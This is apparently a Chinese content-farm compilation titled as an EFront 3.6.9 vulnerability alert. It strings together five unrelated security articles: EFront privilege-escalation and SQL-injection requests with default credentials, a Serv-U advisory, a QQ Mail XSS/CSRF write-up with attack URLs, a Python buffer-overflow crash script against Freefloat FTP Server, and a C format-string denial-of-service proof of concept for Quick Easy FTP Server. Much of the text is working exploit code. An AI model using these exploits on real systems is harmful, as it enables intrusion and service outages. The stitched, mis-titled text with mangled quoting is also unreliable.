EFront 3.6.9 社区版多个漏洞漏洞预警(精选5篇)
EFront 3.6.9 社区版多个漏洞漏洞预警 第1篇
# Exploit Title: EFront <= 3.6.9 Community Edition Multiple Vulnerabilities
# Google Dork: ”eFront (version 3.6.9)“ inurl:index.php?ctg=*
# Date: 5/09/
# Public release: When 3.6.10 will be released
# Author: IHTeam
# Software Link:www.efrontlearning.net/download/download-efront.html
# Tested on: efront_3.6.9_build11018
# Original Advisory:iht.li/FWh
# Advisory code:iht.li/p/0VV
Default username and password:
student:student
professor:professor
How to become admin:
Request 1: /change_account.php?login=admin
Request 2: /userpage.php
OR
simple use the [Switch account] option on top of the page;
Now you are in admin area;
SQL Injection:
www/student.php?ctg=messages&folder=
www/professor.php?ctg=messages&folder=
www/admin.php?ctg=messages&folder=
EFront 3.6.9 社区版多个漏洞漏洞预警 第2篇
serv-u serv-u 15.x
描述:
--------------------------------------------------------------------------------
Serv-U是一种使用广泛的FTP服务器程序,
Serv-U 15.1.0.458之前版本没有验证用户名称时会返回不同的响应,这可导致枚举有效的用户名称,某些用户输入没有正确过滤即返回给用户,这可导致在用户浏览器会话中执行任意HTML和脚本代码,
<*来源:vendor
链接:secunia.com/advisories/58991/
*>
建议:
--------------------------------------------------------------------------------
厂商补丁:
serv-u
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
www.serv-u.com/releasenotes/
EFront 3.6.9 社区版多个漏洞漏洞预警 第3篇
Sunday, April 24,
一、邪恶的filterflag
关于filterflag的问题最早报告在4月的《QQmail Multiple Xss Vulnerabilities》一文里,但是直到今天该问题没有彻底得到解决,多个功能都可以触发,最直接的功能就是“打印”功能:
m353.mail.qq.com/cgi-bin/readmail?sid=[xxx]&t=readmail_print&s=print&filterflag=true&mailid=[xxx]
默认直接引入filterflag=true,当被攻击者使用此功能时,就可能直接被xss攻击。我们在看看“读邮件”功能,通过上次报告的腾讯“修补”的方式其实只是同过引入一个iframe打开,通过分析访问的url可以得到真正的读邮件功能的url:
m353.mail.qq.com/cgi-bin/readmail?folderid=1&t=readmail&mailid=[xxx]&mode=pre&maxage=3600&base=12&ver=1&sid=[xxx]&newwin=true&nocheckframe=true
我们附加filterflag=true后成功触发xss。 对于实际利用来说,mailid和sid都是随着登录而变化的,那么我们怎么得到它们呢? 通过上面的url可以看出mailid和sid都是get提交的变量,那么当我们引入第三方内容的时候通过取HTTP_REFERER可以得到当前邮件的url,当然包括了mailid和sid了!:)
poc设计如下:
邮件1的代码:
第三方内容[mail.php]:
提取HTTP_REFERER[即邮件1的url]后,注入filterflag=true后发送 邮件2
邮件2的代码:
test
攻击者访问邮件2后点击test的link,访问设置了filterflag=true的邮件1,导致我们
这个利用过程我称其为《回旋镖》
补丁建议:
A、这个开关的设计无非所怕过滤系统影响业务,不知道官方同学有没有跳查过真正对业务有多大的影响,必要是取消这个开关。[这又是一个安全于业务的话题!!]
B、如果这个开关必不可少的话,建议所用cookie/session等提交。
C、在需要filterflag=true的时候使用验证码,并提示用户保证邮件内容安全。
D、禁止在get方式提交敏感数据[sid/mailid]
二、悲剧的json
最早报告json导致的xss问题可以追溯到去年的2月我写过一篇blog《不要忘记数据本身的解析》当时的demo就是用的qun.qq.com上多个json导致的xss。后来我在今年的mhtml和utf7 bom导致的json里的xss问题。
现在我们在看看最开始提到的demo里的xss,到本文为止xss依旧!!!!
补丁建议:
引用blog《about utf7-BOM string injection》
--------------------------------
那么解决这个问题的方案有2点:
1. 严格控制数据文件,返回的Content-Type。
2. 数据存储时,使用编码。
当时甲方的朋友们看到json里直接插入html标签进行xss后,都基本所用了“2. 数据存储时,使用编码”了,而且没有去限制“Content-Type”,基本很在继续的“text/html”,这个也为这次的utf7-BOM string injection埋下了罪恶种子,如果这次再不修改Content-Type,我想有可能种子还有机会发芽开花!! :) 我想如果上面的2点方案同时用上,应该是一个不错的选择。
-------------------------------
三、没完没了的
就qqmail来说对于embed标签出现的安全问题从来就没有消停过,最早的qqmail大概所前可以直接通过:
来xss的。到里20《QQmail Multiple Xss Vulnerabilities》里需要使用相对路径了:
当时可以通过上传文件来调用...后来不知道什么时候限制了几个安全属性,设置了allownetworking=“internal” allowscriptaccess=“never”
不过在今年4月根据Gareth Heyes发现的webkit下的code属性可以调用flash:
再一次成功xss,很块这个也被fixed了,不过在与此同时我发现了qqmail的另外一个缺陷[我同样也通知了官方的朋友,但是到本文为止未修补]:在处理embed标签时没有指定type属性,那么我们在webkit下可嵌入html代码[相当于iframe],
对于利用先不说挂webkit的0day,貌似这个不可以直接在qqmail域执行js。:(
我们跳到文章前面第一节里的“回旋镖”,当时邮件2利用的这个需要点击,如果我们直接利用embed嵌入呢? :)
补丁建议:
严格按照安全所用embed的安全规范走,规定type属性。
四、附件之疼
qqmail对于html附件一直防御比较严格的,就我发现的前后报告了2次的utf7的xss,第一次不记得是什么时候里当时用
然而就在前几天又发现一个问题。qqmail在处理html附件时直接有显示“打开”功能,这个打开的网页肯定是做了安全过滤的,但是对于非html后缀的文件呢?
进过测试发现html附件“打开”的url为:
m480.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=pp.txt.htm&sid=[xxx]&action=view&func=inline
对应的附件“下载”url为:
m480.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=pp.txt.htm&sid=[xxx]
很显然url附加&action=view&func=inline就可以了....
于是我们添加附件名为非html后缀的文件:
m396.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=mime.rar&sid=[xxx]
用ie访问m396.mail.qq.com/cgi-bin/download?mailid=[xxx]&filename=mime.rar&sid=[xxx]&action=view&func=inline 成功xss。
实际利用一样要得到mailid和sid,如法炮制《回旋镖》:)
补丁建议:
对于附件问题来说在《QQmail Multiple Xss Vulnerabilities》问及《我在qqmail上放了*个后门》文里提到的保证”代码与数据分离是安全设计的重要原则“ 也就是附件与mail的域完全分离...
五、微博的csrf
在去年的时候报告了2个 的csrf漏洞。微博防御csrf的方式之是判断了HTTP_REFERER,那么我们只要绕过对HTTP_REFERER的判断或者通过as/js等可以自定义HTTP_REFERER的方法就可以进行csrf攻击了.
首先说一下已经补丁了的非常经典的漏洞:
设置子域名t.qq.com.80vul.com 直接写个提交的html,就可以成功csrf了。这个漏洞在报告后其实也没有马上fix的,多次建议他们才修补!! 这个属于对referer处理的正则逻辑漏洞。
另外一个是PZ牛发现的一个firefox+flash可以伪造HTTP_REFERER的漏洞:
不过这个漏洞不在适用于firefox4.0,对于这样的浏览器的问题貌似应用方很无辜?根据我以前的blog文《web app安全的独立性》你还这样认为吗?另外今年的mhtml和utf7 bom导致的安全问题一样的道理。
补丁建议:
1、对于csrf的攻防在目前来是比较成熟的。建议增加token等机制。
2、重视《web app安全的独立性》
六、crossdomain.xml
早在n年前我就报告了qun.qq.com/crossdomain.xml的设置问题,直到前不久才设置为:
之前都是悲剧的,至于这样的后果这里就不谈了,我们在随便看看其他的子域名:
yc.qq.com/crossdomain.xml
ent.qq.com/crossdomain.xml
...
都还是domain=“*”
至于其他的基本都是domain=“*.qq.com” domain=“*.soso.com”等,这样对于腾讯这样的庞大的子域名系统,找一个可以上传文件的子域名就可能突破。
补丁建议:
a、审计业务的需求,应该把握crossdomain.xml的设置,如没有必要这个xml都可以删除。
b、保证”代码与数据分离是安全设计的重要原则“[可以上传文件等的独立域名体系]
七、其他
比如国内各大公司还没有重视的json-hijecking、Clickjacking、FPI、子域名外包网站等问题。
小结
上面一些漏洞都是报告过但是没有得到完美处理的问题。这和这些漏洞本身的特点有关系,大多属于框架整体、业务功能本事的特点以及标准化的安全规范上的问题,所以只有从这些方面去着手才有可能从根本上解决问题。上面提到的那些漏洞就包括以下的一些原则或规范:
1、 《代码与数据分离是安全设计的重要原则》by 刺
2、 《web app安全的独立性》
3、 《不要忘记数据本身的解析》
4、 《Flash应用安全规范》 by jianxin
5、 确保好敏感数据的安全
从上面一些问题可以看出来腾讯很多漏洞都是从诞生来就埋下的隐患,而且在实际的安全推动过程缺少对应的规范原则,或者缺少执行力……
EFront 3.6.9 社区版多个漏洞漏洞预警 第4篇
更新日期:2011-08-05
受影响系统:
Freefloat Freefloat FTP Server 1.00
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 49052
Freefloat FTP Server是免费的用于上传文件和管理有线及无线设备的软件,
Freefloat FTP Server在多个命令的处理上存在远程缓冲区溢出漏洞,远程攻击者可利用这些漏洞在受影响应用程序中执行任意代码,也可能会造成拒绝服务。
<*来源:Veerendra G.G
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
49052.py
#!/usr/bin/python
##############################################################################
# Title : Freefloat FTP Server Multiple Buffer Overflow Vulnerabilities
# Author : Veerendra G.G from SecPod Technologies (www.secpod.com)
# Vendor : www.freefloat.com/sv/utilities-tools/utilities-tools.php
# Advisory : secpod.org/blog/?p=310
# secpod.org/SECPOD_FreeFloat_FTP_Server_BoF_PoC.py
# secpod.org/advisories/SECPOD_FreeFloat_FTP_Server_BoF.txt
# Version : Freefloat FTP Server Version 1.0
# Date : 21/07/2011
##############################################################################
import sys, socket
def exploit(HOST, PORT, CMD):
try:
tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcp_sock.connect((HOST, PORT))
except Exception, msg:
print “[-] Not able to connect to : ” , HOST
sys.exit(0)
res = tcp_sock.recv(1024)
if “220 FreeFloat” not in res:
print “[-] FreeFloat FTP Server Not Found...”
tcp_sock.close()
sys.exit(0)
tcp_sock.send(“USER testrn”)
tcp_sock.recv(1024)
tcp_sock.send(“PASS testrn”)
tcp_sock.recv(1024)
tcp_sock.send(CMD + “ ”+ “A” * 1000 + “rn”)
tcp_sock.close()
if __name__ == “__main__”:
if len(sys.argv) < 2:
print “t[-] Usage: python exploit.py target_ip”
print “t[-] Example : python exploit.py 127.0.0.1”
print “t[-] Exiting...”
sys.exit(0)
HOST = sys.argv[1]
PORT = 21
## Vulnerable Commands
CMDs = [“DELE”, “MDTM”, “RETR”, “RMD”, “RNFR”,
“RNTO”, “STOU”, “STOR”, “SIZE”, “APPE”, “STAT”]
for CMD in CMDs:
print “[+] Connecting with server...”
exploit(HOST, PORT, CMD)
print “[+] Exploit Sent with %s command...” %(CMD)
print “[+] Checking Server Crashed or not...”
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.close()
except Exception, msg:
print “[+] Server Crashed with %s Command” %(CMD)
sys.exit(0)
建议:
--------------------------------------------------------------------------------
厂商补丁:
Freefloat
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
EFront 3.6.9 社区版多个漏洞漏洞预警 第5篇
测试:W2K SP4
Quick easy ftp server 4.0.0 未安全使用wsprintfA函数进行字符串操作,导致格式化串漏洞,受影响的命令包括LS, CD,USER等。其中,USER命令不需要拥有合法的账户。
以下是简短的分析:
对于提交用户名:%x%x%x%x%n
读取参数时的栈布局如下:
0012FCC0 011652E8 ASCII “02/10/ 22:33:20.296 (000001)”,TAB,“ - (not logged in)”,TAB,“(127.0.0.1)>”,TAB,“USER %x%x%x%x%n”
0012FCC4 01167670 ->%x
0012FCC8 01164F60 ASCII “(000001)”,TAB,“ - (not logged in)”,TAB,“(127.0.0.1)>”,TAB,“USER %x%x%x%x%n” ->%x
0012FCCC 0012FD88 ->%x
0012FCD0 004147B0 ftpserve.004147B0 ->%x
0012FCD4 312F3230 ->%n
其中0012FCC4 01167670-》指向一个虚函数表
再后来的调用中有如下代码:
00450F13 |. 8B06 |mov eax, dword ptr [esi]
00450F15 |. 8BCE |mov ecx, esi
00450F17 |. FF90 B0000000 |call dword ptr [eax+B0] --》该eax为可控值,即为%n写入的值
然而由于在参数的第一个位置,无法通过格式化字符串提供更大的值(至少达到栈空间),故不可利用。
0012FCCC 0012FD88 ->%x 该位置放置EBP,在后来恢复栈时将%n写入的值赋予了EBP,在如下代码是崩溃
00450844 |. 8945 FC mov dword ptr [ebp-4], eax
00450847 |> 8B45 FC mov eax, dword ptr [ebp-4] -》程序崩溃,访问违例(ebp此时很小)
0045084A |. 5E pop esi
0045084B |. C9 leave
0045084C . C2 0C00 retn 0C
由于leave指令在x86中相当于
mov esp, ebp
pop ebp -》注意,POP相对于此时的esp而言,相当于add esp, 4而已
类似于off-by-one的,在retn 0c是,我们也许能够得到一个执行shellcode的机会。
发现提交的USER 字段的值长度限制在很短,此指针通用不可用
1.考察栈中没有提交的原始字符串,没有选择地址的机会(其实有,但是在栈地地址,wsprintfA函数无法达到),没有选择地址的机会
2.考察攻击S.E.H链条,距离漏洞触发代码较远,给的字符数量严重不足,根本无法达到修改链条节点的目的
3.在线程中放置shellcode很困难,没有实际意义。
以我的水平只能达到D.O.S的效果了。
对于USER命令的漏洞测试代码(D.O.S)
#include
#include
#include
#pragma comment(lib, “ws2_32.lib”)
int SendPayload(char* lpHost, int intPort, char* lpPayload, int intSize);
int main(int argc, char* argv[])
{
if(argc != 2)
{
printf(“Quick easy ftp server 4.0.0 USER命令格式化串漏洞(D.O.S) POC”);
printf(“contact: ylbhz@hotmail.com”);
printf(“C:>exp [ip address]”);
return 0;
}
char strHost[20] = {0};
strcpy(strHost, argv[1]);
char lpBuf[] = “USER %n”;
SendPayload(strHost, 21, lpBuf, lstrlenA(lpBuf));
return 0; www.2cto.com
}
int SendPayload(char* lpHost, int intPort, char* lpPayload, int intSize)
{
SOCKET sock;
struct sockaddr_in client;
WSADATA wsa;
printf(“[*]Init socket...”);
if(WSAStartup(MAKEWORD(2,2),&wsa) != 0)
{
printf(“[-]WSAStartup Error!”);
return -1;
}
try
{
client.sin_addr.S_un.S_addr = inet_addr(lpHost);
client.sin_family = AF_INET;
client.sin_port = htons(intPort);
}catch(...)
{
printf(“[-]socket_inaddr init error!”);
return -1;
}
sock = socket(AF_INET,SOCK_STREAM,0);
if(sock == SOCKET_ERROR)
{
printf(“[-]socket create error!”);
WSACleanup();
return -1;
}
printf(“[+]Socket Init success!”);
printf(“[*]Connect the Server...”);
if(connect(sock,(struct sockaddr *)&client,sizeof(client)) == SOCKET_ERROR)
{
printf(“[-]Connect Error!”);
closesocket(sock);
WSACleanup();
return -1;
}
printf(“[+]Connect successfull!”);
printf(“[*]Send Payload!”);
int intLen = send(sock, lpPayload, intSize, 0);
if(intLen <= 0) printf(“[-]Send Payload Error!”);
else printf(“Send %d bytes”, intLen);
char strBuf[1024] = {0};
intLen = recv(sock, strBuf, 1024, 0);
printf(“[*]Close Socket!”);
closesocket(sock);
return 0;
}